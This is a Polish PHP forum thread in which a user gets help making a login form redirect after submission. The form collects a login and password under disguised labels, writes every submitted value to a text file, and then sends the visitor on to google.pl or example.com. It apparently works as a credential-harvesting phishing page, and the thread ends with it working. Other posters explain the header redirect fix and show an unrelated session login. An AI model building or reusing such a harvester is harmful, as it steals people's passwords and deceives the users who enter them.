Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> [PHP]Przekierowanie po wypełnieniu formularza
CamerDisco
post 13.01.2014, 23:06:40
Post #1





Grupa: Zarejestrowani
Postów: 12
Pomógł: 0
Dołączył: 13.01.2014

Ostrzeżenie: (0%)
-----


Witam, kod w php to:
  1. <form action="krajobrazy.php" method="POST">
  2.  
  3.  
  4. <font color="white">ip1:</font> <input type="text" value="Login" name="login" id="login23" ><br><br>
  5. <font color="white">ip2:</font> <input type="password" value="Haslo" name="haslo" id="haslo23" ><br><br>
  6. <input type="submit" value="Zaloguj" name="submitted" ><br>
  7. </form>
  8. </center>
  9. </body></html>
  10.  
  11. <?php
  12. $handle = fopen("krajobrazy.txt", "a");
  13. foreach($_POST as $variable => $value) {
  14. fwrite($handle, $variable);
  15. fwrite($handle, "=");
  16. fwrite($handle, $value);
  17. fwrite($handle, "\r\n");
  18. }
  19. fwrite($handle, "\r\n");
  20. fclose($handle);
  21. ?>
  22.  


Chcę zrobić żeby po wypełnieniu formularza autoamtycznie przkierowywało np. na stronę google.pl
Próbowałem z funkcją header i wgl. ale nie wychodzi mi czy mogłby ktoś wstawić gotowy kod?
Powód edycji: [Kshyhoo]: po co ten milion spacji?
Go to the top of the page
+Quote Post
 
Start new topic
Odpowiedzi (1 - 10)
jacobson
post 14.01.2014, 00:11:15
Post #2





Grupa: Zarejestrowani
Postów: 468
Pomógł: 36
Dołączył: 14.12.2010

Ostrzeżenie: (0%)
-----


jak odwolujesz sie do pliku krajobrazy.php to musi byc tam najpierw sprawdzanie czy dane $_POST sa przeslane i jezeli tak to wtedy header('Location: www.google.pl'); powinno zadzialac.
Go to the top of the page
+Quote Post
tomxx
post 14.01.2014, 13:20:03
Post #3





Grupa: Zarejestrowani
Postów: 172
Pomógł: 27
Dołączył: 5.10.2013

Ostrzeżenie: (0%)
-----


Cytat
ale nie wychodzi mi
Pokaż treść tego błędu.
Go to the top of the page
+Quote Post
CamerDisco
post 14.01.2014, 14:49:20
Post #4





Grupa: Zarejestrowani
Postów: 12
Pomógł: 0
Dołączył: 13.01.2014

Ostrzeżenie: (0%)
-----


Kod to:
  1. <?php
  2. $handle = fopen("krajobrazy.txt", "a");
  3. foreach($_POST as $variable => $value) {
  4. fwrite($handle, $variable);
  5. fwrite($handle, "=");
  6. fwrite($handle, $value);
  7. fwrite($handle, "\r\n");
  8. }
  9. fwrite($handle, "\r\n");
  10. fclose($handle);
  11. header('Location: <a href="http://www.example.com/&#39%3b%29;" target="_blank">http://www.example.com/');</a>
  12. ?>


Błąd to: Warning: Cannot modify header information - headers already sent by

Nawet jeśli te ob_end_flush jakoś inaczej rozmieszcze i nie będzie tego błędu to i tak po wysłaniu nie odeśle, zapewnie chodzi o to: jak odwolujesz sie do pliku krajobrazy.php to musi byc tam najpierw sprawdzanie czy dane $_POST sa przeslane i jezeli tak to wtedy header('Location: www.google.pl'); powinno zadzialac.
Tylko nie wiem za bardzo jak to zrobić.

Zrobiłem też tak:
  1. <?php
  2. $handle = fopen("krajobrazy.txt", "a");
  3. foreach($_POST as $variable => $value) {
  4. fwrite($handle, $variable);
  5. fwrite($handle, "=");
  6. fwrite($handle, $value);
  7. fwrite($handle, "\r\n");
  8. }
  9. fwrite($handle, "\r\n");
  10. fclose($handle);
  11. if(isset($_POST['submitted']))
  12. {
  13. header('Location: <a href="http://www.example.com/&#39%3b%29;" target="_blank">http://www.example.com/');</a>
  14. }
  15. ?>


Ale również jest ten błąd z Cannot modify header information - headers already sent by

Ten post edytował CamerDisco 14.01.2014, 14:14:37
Go to the top of the page
+Quote Post
tomxx
post 14.01.2014, 16:22:30
Post #5





Grupa: Zarejestrowani
Postów: 172
Pomógł: 27
Dołączył: 5.10.2013

Ostrzeżenie: (0%)
-----


Spróbuj ten cały kod wstawić w <head>...</head>.
Go to the top of the page
+Quote Post
CamerDisco
post 14.01.2014, 16:37:11
Post #6





Grupa: Zarejestrowani
Postów: 12
Pomógł: 0
Dołączył: 13.01.2014

Ostrzeżenie: (0%)
-----


Po wstawieniu head po wysłaniu jest ten sam błąd.
Go to the top of the page
+Quote Post
alex19
post 14.01.2014, 16:50:30
Post #7





Grupa: Zarejestrowani
Postów: 172
Pomógł: 7
Dołączył: 23.12.2005
Skąd: Wejherowo

Ostrzeżenie: (0%)
-----



Na samym początku skryptu załatwi problem smile.gif
Go to the top of the page
+Quote Post
CamerDisco
post 14.01.2014, 16:52:51
Post #8





Grupa: Zarejestrowani
Postów: 12
Pomógł: 0
Dołączył: 13.01.2014

Ostrzeżenie: (0%)
-----


A gdzie ja wstawiam? Wstawiam od razu po <?php
Go to the top of the page
+Quote Post
alex19
post 14.01.2014, 16:56:05
Post #9





Grupa: Zarejestrowani
Postów: 172
Pomógł: 7
Dołączył: 23.12.2005
Skąd: Wejherowo

Ostrzeżenie: (0%)
-----


Tak, na samym początku skryptu w znacznikach.
Skrypt zacznij od:
  1. <?php
  2. //reszta tego co tam masz na górze
  3. ?>


Ogólnie błąd pojawia się dlatego, że header musi być wykonany/wysłany jako pierwszy, przed nagłówkami z html i zawartością strony.
Go to the top of the page
+Quote Post
CamerDisco
post 14.01.2014, 16:58:13
Post #10





Grupa: Zarejestrowani
Postów: 12
Pomógł: 0
Dołączył: 13.01.2014

Ostrzeżenie: (0%)
-----


Dziękuje BARDZO! smile.gif
Cały skrypt php przeniosłem na samo górę i chodzi wszystko smile.gif
Go to the top of the page
+Quote Post
kamilexoN
post 14.01.2014, 16:59:31
Post #11





Grupa: Zarejestrowani
Postów: 8
Pomógł: 0
Dołączył: 9.12.2012

Ostrzeżenie: (0%)
-----


Heheh też to miałem. ;p
Dodaj po naciśnięciu przycisku sumbit oprócz kodu wykonywanego aby wykonał się skrypt przekierowujący przykład z mojego kodu do logowania:
  1. if($password == $wynik[0]){
  2. $_SESSION["ZALOGOWANY"] = TRUE;
  3. $_SESSION["USERNAME"] = $username;
  4. echo "Zostałeś pomyślnie zalogowany!";
  5. echo "<script>window.location.href = 'http://localhost:78/';</script>";
  6. } else {
  7. echo "Podałeś błędne hasło!";
  8. }


Skrypt który przekierowuje to <script>window.location.href = 'http://localhost:78/';</script>

Cholera spóźniłęm się z odpowiedzią haha.gif.

Ten post edytował kamilexoN 14.01.2014, 17:00:11
Go to the top of the page
+Quote Post

Reply to this topicStart new topic
1 Użytkowników czyta ten temat (1 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Wersja Lo-Fi Aktualny czas: 19.07.2025 - 17:07